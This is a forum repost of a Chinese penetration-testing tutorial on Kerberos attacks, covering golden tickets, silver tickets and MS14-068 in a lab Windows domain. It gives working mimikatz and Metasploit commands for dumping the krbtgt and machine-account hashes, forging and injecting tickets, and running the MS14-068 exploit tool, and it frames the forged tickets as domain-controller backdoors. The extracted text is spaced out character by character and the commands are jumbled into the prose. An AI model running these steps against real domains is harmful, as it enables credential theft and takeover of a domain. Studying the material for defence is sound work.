搜索

[18584] 2021-06-26_内网渗透Kerberos协议相关安全问题分析与利用

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-06-26_内网渗透Kerberos协议相关安全问题分析与利用 内 网 渗 透   |   K e r b e r o s   协 议 相 关 安 全 问 题 分 析 与 利 用 原 创   W H O A M I   H A C K 学 习 呀   2 0 2 1 - 0 6 - 2 6 收 录 于 话 题 # 内 网 渗 透   , 2 0 # K e r b e r o s 协 议   , 4 # 基 础 知 识   , 4 前 言 前 言 往 期 文 章 ： 内 网 渗 透 内 网 渗 透   |   K e r b e r o s   协 议 与 协 议 与   K e r b e r o s   认 证 原 理 认 证 原 理 在 上 一 节 中 我 们 说 到 过 ， K e r b e r o s   认 证 并 不 是 天 衣 无 缝 的 ， 这 其 中 也 会 有 各 种 漏 洞 能 够 被 我 们 利 用 ， 比 如 我 们 常 说 的   M S 1 4 - 0 6 8 、 黄 金 票 据 、 白 银 票 据 等 就 是 基 于 K e r b e r o s 协 议 进 行 攻 击 的 。 下 面 我 们 便 详 细 的 讲 解 一 下   K e r b e r o s   认 证 中 的 相 关 安 全 问 题 。 黄 金 票 据 （ 黄 金 票 据 （ G o l d e n   t i c k e t ） ） 在   W i n d o w s   的   k e r b e r o s   认 证 过 程 中 ， C l i e n t   将 自 己 的 信 息 发 送 给   K D C ， 然 后   K D C   使 用   K r b t g t   用 户 的   N T L M   哈 希 作 为 密 钥 进 行 加 密 ， 生 成   T G T 。 那 么 如 果 获 取 到 了   K r b t g t   的   N T L M   哈 希 值 ， 不 就 可 以 伪 造 任 意 的   T G T   了 吗 。 因 为   K r b t g t   只 有 域 控 制 器 上 面 才 有 ， 所 以 使 用 黄 金 凭 据 意 味 着 你 之 前 拿 到 过 域 控 制 器 的 权 限 ， 黄 金 凭 据 可 以 理 解 为 一 个 后 门 。 利 用   K r b t g t   的   H a s h   值 可 以 伪 造 生 成 任 意 的   T G T ， 能 够 绕 过 对 任 意 用 户 的 账 号 策 略 ， 让 用 户 成 为 任 意 组 的 成 员 ， 可 用 于 K e r b e r o s   认 证 的 任 何 服 务 。
攻 击 者 再 使 用 黄 金 票 据 进 行 票 据 传 递 攻 击 时 ， 通 常 要 掌 握 以 下 信 息 ： • 需 要 伪 造 的 域 管 理 员 用 户 名 • 完 整 的 域 名 • 域   S I D • k r b t g t   的   N T L M   哈 希 值 实 验 环 境 如 下 ： i m a g e - 2 0 2 1 0 5 2 2 1 2 0 0 5 8 3 1 5 域 成 员 主 机 ： W i n d o w s   7 • I P ： 1 9 2 . 1 6 8 . 9 3 . 2 0 • 域 名 ： w h o a m i a n o n y . o r g • 用 户 名 ： b u n n y 域 控 制 器 ： W i n d o w s   S e r v e r   2 0 1 2 • I P ： 1 9 2 . 1 6 8 . 9 3 . 3 0 • 域 名 ： w h o a m i a n o n y . o r g • 用 户 名 ： a d m i n i s t r a t o r 假 设 有 这 么 一 种 情 况 ， 原 先 攻 击 机 已 拿 到 的 域 内 所 有 的 账 户   H a s h ， 包 括   K r b t g t   这 个 账 户 ， 由 于 有 些 原 因 导 致 你 对 域 管 权 限 丢 失 ， 但 好 在 你 还 有 一 个 普 通 域 用 户 权 限 ， 碰 巧 管 理 员 在 域 内 加 固 时 忘 记 重 置   K r b t g t   密 码 ， 基 于 此 条 件 ， 我 们 还 能 利 用 该 票 据 重 新 获 得 域 管 理 员 权 限 。 M i m i k a t z   下 的 利 用 下 的 利 用 首 先 ， 我 们 登 上 域 控 ， 上 传   m i m i k a t z ， 然 后 执 行 如 下 命 令 抓 取   k r b t g t   用 户 的   H a s h   值 并 获 取 域 s i d ： p r i v i l e g e : : d e b u g l s a d u m p : : l s a   / p a t c h                 / /   专 用 于 在 域 控 制 器 上 导 出 用 户 密 码 或   h a s h
i m a g e - 2 0 2 1 0 5 2 1 0 8 5 7 4 4 6 0 2 得 到   k r b t g t   用 户 的   H a s h   和   域   S I D   分 别 为 ： • H a s h   值 ： 6 b e 5 8 b f c c 0 a 1 6 4 a f 2 4 0 8 d 1 d 3 b d 3 1 3 c 2 a • 域   S I D ： 为   S - 1 - 5 - 2 1 - 1 3 1 5 1 3 7 6 6 3 - 3 7 0 6 8 3 7 5 4 4 - 1 4 2 9 0 0 9 1 4 2 然 后 ， 我 们 切 换 到 普 通 域 用 户 的 机 器 W i n d o w s   7 ， 用   m i m i k a t z   生 成 名 为   t i c k e t . k i r b i   的   T G T   凭 证 ， 用 户 名 为   a d m i n i s t r a t o r ： i m a g e - 2 0 2 1 0 5 2 1 0 9 0 4 3 8 0 3 8 如 上 图 所 示 ， 成 功 生 成   T G T   凭 证   t i c k e t . k i r b i ， 名 为   t i c k e t . k i r b i ， 然 后 使 用   m i m i k a t z   将 凭 证 t i c k e t . k i r b i   注 入 进 去 ： k e r b e r o s : : g o l d e n   / u s e r : a d m i n i s t r a t o r   / d o m a i n : w h o a m i a n o n y . o r g   / s i d : S - 1 - 5 - 2 1 - 1 3 1 5 1 3 7 6 6 3 - 3 7 0 6 8 3 7 5 4 4 - 1 4 2 9 0 0 9 1 4 2 #   k e r b e r o s : : g o l d e n   / u s e r : 需 要 伪 造 的 域 管 理 员 用 户 名   / d o m a i n : 域 名   / s i d : 域 s i d   / k r b t g t :   k r b t g t 用 户 的 H a s h   / t i c k e t : t i c k e t . k i r b i
i m a g e - 2 0 2 1 0 5 2 1 0 9 0 7 0 6 4 3 6 此 时 我 们 可 以 执 行 以 下 来 查 看 当 前 会 话 中 的 票 据 ， 就 可 以 发 现 刚 刚 注 入 的 票 据 在 里 面 了 ： i m a g e - 2 0 2 1 0 5 2 1 0 9 1 2 3 0 4 2 1 到 此 ， 注 入 成 功 。 输 入 “ e x i t ” 退 出 m i m i k a t z ， 此 时 ， 攻 击 者 就 可 以 利 用   W i n d o w s   7   任 意 访 问 域 控 了 ： i m a g e - 2 0 2 1 0 5 2 1 0 9 2 0 4 7 5 4 5 也 可 以 使 用   p s e x e c ， w m i   等 方 法 对 域 控 进 行 远 程 执 行 命 令 ： k e r b e r o s : : p t t   t i c k e t . k i r b i # k e r b e r o s : : p t t   < 票 据 文 件 > k e r b e r o s : : t g t d i r   D C c $
i m a g e - 2 0 2 1 0 5 2 1 0 9 2 4 5 0 4 4 7 可 见 ， 黄 金 票 据 可 以 当 做 一 个 安 装 在 普 通 域 成 员 主 机 上 的 连 接 到 域 控 的 后 门 。 M e t a s p l o i t   下 的 利 用 下 的 利 用 在   M e t a s p l o i t   中 也 有 对 应 的 利 用 模 块 。 首 先 我 们 需 要 让   W i n d o w s   7   上 线 一 个   M S F   的 会 话 ： i m a g e - 2 0 2 1 0 5 2 1 1 1 0 1 5 7 1 1 1 然 后 再 这 个   m e t e r p r e t e r   中 加 载   k i w i   模 块 ： l o a d   k i w i
i m a g e - 2 0 2 1 0 5 2 1 1 1 0 4 3 6 9 8 1 然 后 输 入 命 令 生 成 票 据 ： i m a g e - 2 0 2 1 0 5 2 1 1 8 5 5 1 2 6 1 9 如 上 图 所 示 ， 成 功 注 入 黄 金 票 据 ， 此 时 进 入   S h e l l   中 可 以 成 功 查 看   D C   中 的 文 件 ： i m a g e - 2 0 2 1 0 5 2 1 1 8 5 7 3 3 5 0 8 白 银 票 据 （ 白 银 票 据 （ S i l v e r   t i c k e t ） ） g o l d e n _ t i c k e t _ c r e a t e   - d   w h o a m i a n o n y . o r g   - k   6 b e 5 8 b f c c 0 a 1 6 4 a f 2 4 0 8 d 1 d 3 b d 3 1 3 c 2 a   - s   S - 1 - 5 - 2 1 - 1 3 1 5 1 3 7 6 6 3 - 3 7 0 6 8 3 7 5 4 4 #   g o l d e n _ t i c k e t _ c r e a t e   - d   域 名   - k   k r b t g t 用 户 的 H a s h   - s   域 s i d   - u   需 要 伪 造 的 域 管 理 员 用 户 名   - t   / r o o t / k r b t g t . t i c k e t k e r b e r o s _ t i c k e t _ l i s t   #   查 看 本 地 储 存 的 票 据 k e r b e r o s _ t i c k e t _ u s e   / r o o t / k r b t g t . t i c k e t   #   将 票 据 注 入 内 存 d i r   D C c $
白 银 票 据 不 同 于 黄 金 票 据 ， 白 银 票 据 的 利 用 过 程 是 伪 造   T G S ， 通 过 已 知 的 授 权 服 务 密 码 生 成 一 张 可 以 访 问 该 服 务 的   T G T 。 因 为 在 票 据 生 成 过 程 中 不 需 要 使 用   K D C ， 所 以 可 以 绕 过 域 控 制 器 ， 很 少 留 下 日 志 。 而 黄 金 票 据 在 利 用 过 程 中 由   K D C   颁 发   T G T ， 并 且 在 生 成 伪 造 的   T G T   得 2 0 分 钟 内 ， T G S   不 会 对 该   T G T   的 真 伪 进 行 效 验 。 白 银 票 据 依 赖 于 服 务 账 号 的 密 码 散 列 值 ， 这 不 同 于 黄 金 票 据 利 用 需 要 使 用   k r b t g t   账 号 的 密 码 哈 希 值 ， 因 此 更 加 隐 蔽 。 攻 击 者 要 利 用 白 银 票 据 进 行 票 据 传 递 攻 击 时 ， 需 要 掌 握 下 面 几 个 信 息 ： • 域 名 • 域   S I D • 目 标 服 务 器 的   F Q D N • 可 利 用 的 服 务 • 服 务 账 号 的   N T L M   哈 希 值 • 要 伪 造 的 用 户 名 实 验 环 境 如 下 ： i m a g e - 2 0 2 1 0 5 2 2 1 2 0 0 5 8 3 1 5 域 成 员 主 机 ： W i n d o w s   7 • I P ： 1 9 2 . 1 6 8 . 9 3 . 2 0 • 域 名 ： w h o a m i a n o n y . o r g • 用 户 名 ： b u n n y 域 控 制 器 ： W i n d o w s   S e r v e r   2 0 1 2 • I P ： 1 9 2 . 1 6 8 . 9 3 . 3 0 • 域 名 ： w h o a m i a n o n y . o r g • 用 户 名 ： a d m i n i s t r a t o r 下 面 我 们 就 使 用 白 银 票 据 来 伪 造   C I F S   服 务 权 限 ， C I F S   服 务 通 常 用 于 W i n d o w s   主 机 之 间 的 文 件 共 享 。 首 先 登 录 域 控 ， 抓 取 机 器 账 号 的 哈 希 值 ：
i m a g e - 2 0 2 1 0 5 2 1 0 9 2 9 2 9 7 8 5 这 里 的   N T L M   和   S H A 1   都 可 以 用 。 得 到 计 算 机 账 号 的 哈 希 为 ： 6 d e c b 5 d 7 5 e b 5 7 2 7 d 8 5 3 5 e 6 7 6 8 0 b 5 2 5 7 1 （ 注 意 是   D C $   用 户 的   N T L M   哈 希 ， 不 是   A d m i n i s t r a t o r   用 户 ， 因 为 要 利 用 共 享 服 务 账 号 ） 然 后 切 换 到 普 通 域 用 户 机 器   W i n d o w s   7   中 ， 使 用   m i m i k a t z   生 成 伪 造 的 白 银 票 据 ： 注 意 这 里 的     应 为   F Q D N   格 式 ， 即 全 称 。 i m a g e - 2 0 2 1 0 5 2 1 0 9 3 6 1 2 6 3 2 如 上 图 所 示 ， 成 功 生 成 了 伪 造 的 白 银 票 据 ， 此 时 进 行 权 限 验 证 。 如 下 ， 发 现 已 经 可 以 访 问 域 控 制 器 的 共 享 目 录 了 ： p r i v i l e g e : : d e b u g s e k u r l s a : : l o g o n p a s s w o r d s k e r b e r o s : : g o l d e n   / d o m a i n : w h o a m i a n o n y . o r g   / s i d : S - 1 - 5 - 2 1 - 1 3 1 5 1 3 7 6 6 3 - 3 7 0 6 8 3 7 5 4 4 - 1 4 2 9 0 0 9 1 4 2   / t a r g e t : D C . w h o a m i a n o n y #   k e r b e r o s : : g o l d e n   / d o m a i n : 域 名   / s i d : 域   S I D   / t a r g e t : F Q D N   / r c 4 : s e r v e r   机 器 的 哈 希   / s e r v i c e : 可 利 用 的 服 务   / u s e r : 要 伪 造 的 用 户 名   / p t t / t a r g e t d i r   D C . w h o a m i a n o n y . o r g c $                   / /   机 器 名 要 全 称 ， 注 意 是 全 称
i m a g e - 2 0 2 1 0 5 2 1 0 9 3 7 0 1 7 7 4 通 常 情 况 下 ， 黄 金 票 据 和 白 银 票 据 更 适 合 做 为 一 个 安 装 在 普 通 域 成 员 主 机 上 的 连 接 到 域 控 的 后 门 。 但 在 内 网 横 向 移 动 中 也 经 常 遇 到 他 的 身 影 ， 通 过 黄 金 票 据 和 白 银 票 据 ， 我 们 可 以 通 过 当 前 那 下 的 机 器 作 为 跳 板 使 用   p s e x e c 、 w m i   等 方 式 对 目 标 机 执 行 命 令 ， 也 可 以 将 生 成 的 木 马 复 制 到 目 标 机 器 上 ， 然 后 通 过 计 划 任 务 或 服 务 等 方 式 执 行 ， 最 终 是 目 标 机 上 线 。 M S 1 4 - 0 6 8 这 里 就 涉 及 到 了 我 们 上 一 节 所 讲 到 的   P A C   这 个 东 西 了 。 在 上 一 节 中 ， 我 们 在 关 于   K e r b e r o s   认 证 流 程 的 介 绍 中 提 到 了 P A C （ P r i v i l e g e   A t t r i b u t e   C e r t i f i c a t e ） 这 个 东 西 ， 这 是 微 软 为 了 访 问 控 制 而 引 进 的 一 个 扩 展 ， 即 特 权 访 问 证 书 。 在   K e r b e r o s   认 证 流 程 中 ， 如 果 没 有   P A C   的 访 问 控 制 作 用 的 话 ， 只 要 用 户 的 身 份 验 证 正 确 ， 那 么 就 可 以 拿 到   T G T ， 有 了   T G T ， 就 可 以 拿 到   S T ， 有 了   S T   ， 就 可 以 访 问 服 务 了 。 此 时 任 何 一 个 经 过 身 份 验 证 的 用 户 都 可 以 访 问 任 何 服 务 。 像 这 样 的 认 证 只 解 决 了   " W h o   a m   i ? "   的 问 题 ， 而 没 有 解 决   " W h a t   c a n   I   d o ? "   的 问 题 。 为 了 解 决 上 面 的 这 个 问 题 ， 微 软 引 进 了 P A C 。 即   K D C   向 客 户 端   C l i e n t   返 回     时 插 入 了   P A C ， P A C   中 包 含 的 是 用 户 的   S I D 、 用 户 所 在 的 组 等 一 些 信 息 。 当 最 后 服 务 端   S e r v e r   收 到   C l i e n t   发 来 的     请 求 后 ， 首 先 会 对 客 户 端 身 份 验 证 。 通 过 客 户 端 身 份 验 证 后 ， 服 务 器   S e r v e r   会 拿 着   P A C   去 询 问   D C   该 用 户 是 否 有 访 问 权 限 ， D C   拿 到   P A C   后 进 行 解 密 ， 然 后 通 过   P A C   中 的   S I D   判 断 用 户 的 用 户 组 信 息 、 用 户 权 限 等 信 息 ， 然 后 将 结 果 返 回 给 服 务 端 ， 服 务 端 再 将 此 域 用 户 请 求 的 服 务 资 源 的   A C L   进 行 对 比 ， 最 后 决 定 是 否 给 用 户 提 供 相 关 的 服 务 。 但 也 恰 恰 是 是 这 个   P A C ， 造 成 了   M S 1 4 - 0 6 8   这 个 漏 洞 。 该 漏 洞 是 位 于   k d c s v c . d l l   域 控 制 器 的 密 钥 分 发 中 心 （ K D C ） 服 务 中 的 W i n d o w s   漏 洞 ， 它 允 许 经 过 身 份 验 证 的 用 户 在 其 获 得 的 票 证   T G T   中 插 入 任 意 的   P A C   。 普 通 用 户 可 以 通 过 呈 现 具 有 改 变 了   P A C 的   T G T   来 伪 造 票 据 获 得 管 理 员 权 限 。 攻 击 者 要 利 用   M S 1 4 - 0 6 8   这 个 漏 洞 提 权 时 ， 需 要 掌 握 下 面 几 个 信 息 ： • 域 内 任 意 用 户 S I D • 域 内 任 意 用 户 密 码 实 验 环 境 如 下 ： A S _ R E P A P _ R E Q
i m a g e - 2 0 2 1 0 5 2 2 1 2 0 0 5 8 3 1 5 域 成 员 主 机 ： W i n d o w s   7 • I P ： 1 9 2 . 1 6 8 . 9 3 . 2 0 • 域 名 ： w h o a m i a n o n y . o r g • 用 户 名 ： b u n n y 域 控 制 器 ： W i n d o w s   S e r v e r   2 0 1 2 • I P ： 1 9 2 . 1 6 8 . 9 3 . 3 0 • 域 名 ： w h o a m i a n o n y . o r g • 用 户 名 ： a d m i n i s t r a t o r 利 用 利 用   M S 1 4 - 0 6 8 . e x e • 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / a b a t c h y 1 7 / W i n d o w s E x p l o i t s / t r e e / m a s t e r / M S 1 4 - 0 6 8 首 先 ， 我 们 需 要 在 目 标 主 机   W i n d o w s   7   上 面 获 得 一 个 任 意 域 用 户 的   S I D ： i m a g e - 2 0 2 1 0 5 2 1 0 9 5 0 1 7 2 2 2 然 后 再   W i n d o w s   7   上 传 工 具   m s 1 4 - 0 6 8 . e x e ， 并 执 行 如 下 命 令 生 成   T G T   票 据 ： w h o a m i   / a l l m s 1 4 - 0 6 8 . e x e   - u   b u n n y @ w h o a m i a n o n y . o r g   - s   S - 1 - 5 - 2 1 - 1 3 1 5 1 3 7 6 6 3 - 3 7 0 6 8 3 7 5 4 4 - 1 4 2 9 0 0 9 1 4 2 - 1 1 1 2   - d   1 9 2 . 1 6 8 . 9 3 . 3 0 #   m s 1 4 - 0 6 8 . e x e   - u   域 成 员 名 @ 域 名   - s   域 成 员 s i d   - d   域 控 制 器 i p 地 址   - p   域 成 员 密 码
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理